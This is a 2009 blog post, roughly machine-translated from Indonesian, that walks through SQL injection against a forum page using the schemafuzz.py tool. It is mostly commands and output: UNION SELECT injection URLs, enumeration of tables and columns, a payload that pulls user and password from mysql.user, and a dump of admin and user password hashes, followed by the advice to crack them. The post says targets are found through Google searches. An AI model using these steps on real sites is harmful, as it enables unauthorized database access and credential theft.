Friday, February 27, 2009

Hacking Using Schemafuzz.py

Schemafuzz.py made using python language for the purpose of the SQL injector easier to find a table and the columns in the sql database dipenetrasi.

ok not to berpanjang wide again let us note carefully the following steps


our first target with a google search and found:

for example

http://127.0.0.1/site/phpweb/forum.php?forum=1


before we move further we need to know what the command should be used.

I like this. / schemafuzz.py-h help

we found some command like this

- schema, - DBS, - dump, - fuzz, - info, - full, - findcol


the first step

----------------

. / schemafuzz.py-u "http://127.0.0.1/site/phpweb/forum.php?forum=1" - findcol

obtained like this

[+] URL: http://127.0.0.1/site/phpweb/forum.php?forum=1--

[+] Evasion Used: "+" "-"

[+] 01:32:04

[+] Proxy Not Given

[+] Attempting to find the number of columns ...

[+] Testing: 0,1,2,3,4,5,

[+] Column Length is: 6

[+] Found null column at column #: 1

[+] SQLi URL: http://127.0.0.1/site/phpweb/forum.php?forum=1 + AND +1 = 2 + UNION + SELECT +0,1,2,3,4,5 --

[+] Darkc0de URL: http://127.0.0.1/site/phpweb/forum.php?forum=1 + AND +1 = 2 + UNION + SELECT +0, darkc0de, 2,3,4,5

[-] Done!


second step

--------------

after the meet we enter darkc0de copy the URL such as this so


. / schemafuzz.py-u "http://127.0.0.1/site/phpweb/forum.php?forum=1 + AND +1 = 2 + UNION + SELECT +0, darkc0de, 2,3,4,5" - fuzz

obtained like this

[+] URL: http://127.0.0.1/site/phpweb/forum.php?forum=1 + AND +1 = 2 + UNION + SELECT +0, darkc0de ,2,3,4,5 --

[+] Evasion Used: "+" "-"

[+] 01:37:09

[+] Proxy Not Given

[+] Gathering MySQL Server Configuration ...

Database: webthings

User: @ localhost testing

Version: 5.0.51a

[+] Number of tables names to be fuzzed: 354

[+] Number of column names to be fuzzed: 263

[+] Searching for tables and columns ...


[+] Found a table called: mysql.user


[+] Now searching for columns inside table "mysql.user"

[!] Found a column called: user

[!] Found a column called: password

[-] Done searching inside table "mysql.user" for columns!


[-] [01:37:48]

[-] Total URL Requests 618

[-] Done


third step

---------------

Once we find the name of our database are kelangkah continue next


. / schemafuzz.py-u "http://127.0.0.1/site/phpweb/forum.php?forum=1 + AND +1 = 2 + UNION + SELECT +0, darkc0de, 2,3,4,5" - schema-D namadatabasenya

. / schemafuzz.py-u "http://127.0.0.1/site/phpweb/forum.php?forum=1 + AND +1 = 2 + UNION + SELECT +0, darkc0de, 2,3,4,5" - schema-D webthings


[+] URL: http://127.0.0.1/site/phpweb/forum.php?forum=1 + AND +1 = 2 + UNION + SELECT +0, darkc0de ,2,3,4,5 --

[+] Evasion Used: "+" "-"

[+] 01:43:11

[+] Proxy Not Given

[+] Gathering MySQL Server Configuration ...

Database: webthings

User: @ localhost testing

Version: 5.0.51a

[+] Showing Tables & Columns from database "webthings"

[+] Number of Tables: 33


[Database]: webthings

[Table: Columns]

[0] wt_articles: cod, article_id, Subtitle, page, text, text_ori, htmlarticle, views

[1] wt_articles_title: article_id, category, title, active, date, userid, views

[2] wt_articlescat: cod, category

[3] wt_banners: cod, name, active, image, url_image, url, code, views, clicks, period, start_date, end_date

[4] wt_banners_log: banner, date, views, clicks, sessions

[5] wt_banners_rawlog: banner, type, date, session

[6] wt_centerboxes: cod, mail, active, oneverypage, menuoption, title, content, file, type, draw_box

[7] wt_comments: cod, type, link, date, userid, comment

[8] wt_config: id, config

[9] wt_downloads: id, category, name, active, url, date, size, count, rate_sum, rate_count, short_description, description, small_picture, big_picture, AUTHOR_NAME, author_email, comments, url_screenshot, license, license_text

[10] wt_downloadscat: cod, ref, name, descr

[11] wt_faq: cod, topic, uid, active, question_ori, question, answer_ori, answer

[12] wt_faq_topics: cod, name

[13] wt_forum_log_topics: uid, msgid, logtime, notifysent

[14] wt_forum_msgs: cod, forum, msg_ref, date, userid, title, text_ori, date_der, views, closed, sticky, modifiedtime, modifiedname, notifies

[15] wt_forums: cod, title, descr, locked, notifies, register

[16] wt_forums_mod: forum, userid, type

[17] wt_guestbook: id, datum, naam, email, homepage, plaats, tekst

[18] wt_links: id, category, active, name, url, count, descr, Obs

[19] wt_linkscat: cod, name, descr, parent_id

[20] wt_menu: id, mail, title, url, type, Newwindow, lang

[21] wt_news: cod, lang, category, catimgpos, date, title, userid, image, align, active, counter, text, text_ori, full_text, full_text_ori, Archived, sidebox, sideboxtitle, sideboxpos

[22] wt_newscat: cod, name, image

[23] wt_online: id, time, uid

[24] wt_picofday: id, category, userid, small_picture, big_picture, description, full_description, views, clicks

[25] wt_picofdaycat: id, name, description

[26] wt_picofdaysel: date, picture_id, views, clicks

[27] wt_polls: cod, dtstart, dtend, question, item01, item02, item03, item04, item05, item06, item07, item08, item09, item10, count01, count02, count03, count04, count05, count06, count07, count08, count09 , count10

[28] wt_sideboxes: cod, post, side, active, title, content, file, type, function, modules

[29] wt_user_access: userid, module

[30] wt_user_book: userid, cod_user

[31] wt_user_msgs: cod, userid, folder, date, user_from, title, msg_read, text, Notify

[32] wt_users: uid, name, password, class, realname, email, question1, question2, url, receivenews, receiverel, country, city, state, ICQ, aim, sex, session, active, comments,

newsposted, commentsposted, faqposted, topicsposted, dateregistered, dateactivated, lastvisit, logins, newemail, newemailsess, avatars, lang, theme, signature, banned, msn, showemail


[-] [01:43:48]

[-] Total URL Requests 270

[-] Done


to see if we can load_file in the site use this command


. / schemafuzz.py-u "http://127.0.0.1/site/phpweb/forum.php?forum=1 + AND +1 = 2 + UNION + SELECT +0, darkc0de, 2,3,4,5" - info

it will appear like this


[+] URL: http://127.0.0.1/site/phpweb/forum.php?forum=1 + AND +1 = 2 + UNION + SELECT +0, darkc0de ,2,3,4,5 --

[+] Evasion Used: "+" "-"

[+] 01:46:51

[+] Proxy Not Given

[+] Gathering MySQL Server Configuration ...

Database: webthings

User: @ localhost testing

Version: 5.0.51a


[+] Do we have Access to MySQL Database: Yes <- w00t w00t

[!] Http://127.0.0.1/site/phpweb/forum.php?forum=1 + AND +1 = 2 + UNION + SELECT +0, concat (user, 0x3a, password), 2,3,4, 5 + FROM + mysql.user---


[+] Do we have to Load_File Access: No


[-] [01:46:51]

[-] Total URL Requests 3

[-] Done


that we can load_file but I can access the database to mysqlnya hehehe


to know that there are several databases on the site, we use a command like this


. / schemafuzz.py-u "http://127.0.0.1/site/phpweb/forum.php?forum=1 + AND +1 = 2 + UNION + SELECT +0, darkc0de, 2,3,4,5" - DBS

will appear like this


[+] URL: http://127.0.0.1/site/phpweb/forum.php?forum=1 + AND +1 = 2 + UNION + SELECT +0, darkc0de ,2,3,4,5 --

[+] Evasion Used: "+" "-"

[+] 01:58:15

[+] Proxy Not Given

[+] Gathering MySQL Server Configuration ...

Database: webthings

User: @ localhost testing

Version: 5.0.51a

[+] Showing all databases current user has access too!

[+] Number of Databases: 1


[0]? Webthings?


[-] [01:58:17]

[-] Total URL Requests 30

[-] Done


next steps

--------------------


how to find the username and password

we use the command - dump-D namadatabase-T namatabel-C namakolom

after we find the name of the database, table and column names to stay as we enter this command

. / schemafuzz.py-u "http://127.0.0.1/site/phpweb/forum.php?forum=1 + AND +1 = 2 + UNION + SELECT +0, darkc0de, 2,3,4,5" - dump webthing-D-T-C wt_users name, password


eing ing eng ....

jreennnng out deh .... ama user password

result under this


[+] URL: http://127.0.0.1/site/phpweb/forum.php?forum=1 + AND +1 = 2 + UNION + SELECT +0, darkc0de ,2,3,4,5 --

[+] Evasion Used: "+" "-"

[+] 02:08:47

[+] Proxy Not Given

[+] Gathering MySQL Server Configuration ...

Database: webthings

User: @ localhost testing

Version: 5.0.51a

[+] Dumping data from database "webthings" Table "wt_users"

[+] Column (s) [ 'name', 'password']

[+] Number of Rows: 2


[0] admin: e00b29d5b34c3f78df09d45921c9ec47:

[1] user: 098f6bcd4621d373cade4e832627b4f6:


[-] [02:08:48]

[-] Total URL Requests 4

[-] Done


we always do not forget to check its schemafuzzlog.txt

after that we lived to crack a password program

how easy is a friend schemafuzz

NB:

The above step is very easy to use on the MySQL v5 for MySQL version 4 please table columns

Remember we jgn too spoiled with the ready, because we do know basis-basically, the origin-usulnya ...

the program aims only to help us when we find something that does not appear in the target site.

0 comments:

Post a Comment

About You

 
Copyright © 2012 X - SITE Design By Adyt